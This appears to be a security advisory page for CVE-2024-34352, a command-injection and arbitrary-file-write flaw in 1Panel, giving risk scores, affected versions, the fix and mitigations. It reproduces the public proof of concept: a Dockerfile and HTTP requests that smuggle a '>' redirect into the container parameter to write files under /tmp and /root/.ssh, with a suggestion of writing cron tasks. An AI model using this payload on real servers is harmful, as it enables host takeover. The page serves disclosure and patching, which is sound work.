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MEDIUM severity

CVE-2024-34352 — 1Panel

MEDIUMFix: 1Panel-dev/1Panel@e037b69

CVE-2024-34352 is a medium-severity (CVSS 6.5) CWE-77 vulnerability in github.com/1Panel-dev/1Panel. A fix is available for github.com/1Panel-dev/1Panel — see the affected versions and patch details below.

Arbitrary file write vulnerability in 1Panel

Also known asGHSA-f8ch-w75v-c847GO-2024-2830
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 5, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2024-34352.

EPSS Exploitation Probability

via FIRST.org ↗
1.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs71th percentile — riskier than 71% of all scored CVEsHighest risk
0.83%1.45%2.07%2.69%1.9%1.3%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹github.com/1Panel-dev/1Panel

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

There are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. We can use the following mirror configuration write symbol > to achieve arbitrary file writing

PoC

Dockerfile

FROM bash:latest

COPY echo.sh /usr/local/bin/echo.sh
RUN chmod +x /usr/local/bin/echo.sh
CMD ["echo.sh"]

echo.sh

#!/usr/local/bin/bash
echo "Hello, World!"

Build this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container Send the following packet, taking care to change the containerID to the malicious container we constructed

GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Ftmp%2F1&since=all&tail=100&follow=true HTTP/1.1
Host: xxxx:42713
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Upgrade: websocket
Origin: http://xxx:42713
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d
Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==

Then you can write any customized file to, for example, a ssh key, and generally the application is run with root privileges

GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Froot%2F.ssh%2f1&since=all&tail=100&follow=true HTTP/1.1
Host: xxx:42713
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Upgrade: websocket
Origin: http://xxx:42713
Sec-WebSocket-Version: 13
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d
Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA==

Or write a timed task to execute any command.

Impact

The ability to write arbitrary files on the host where the service is deployed can lead to a host takeover

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/1Panel-dev/1Panelall versions1.10.3-ltsgo get github.com/1Panel-dev/1Panel@v1.10.3-lts

Affected Products

1 product · 1 configurations
Application
1panelfit2cloud
< 1.10.3-lts
range

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/1Panel-dev/1Panel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update github.com/1Panel-dev/1Panel to 1.10.3-lts or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2024-34352 is resolved across your whole dependency graph.

  3. Workarounds

    Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

### Summary There are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. We can use the following mirror configuration write symbol `>` to achieve arbitrary file writing ### PoC Dockerfile ``` FROM bash:latest COPY echo.sh /usr/local/bin/echo.sh RUN chmod +x /usr/local/bin/echo.sh CMD ["echo.sh"] ``` echo.sh ``` #!/usr/local/bin/bash echo "Hello, World!" ``` Build this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container Send the following packet, taking c
O3 Security · Impact-Aware SCA

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CVE-2024-34352: 1Panel — Fixed in 1.10.3-lts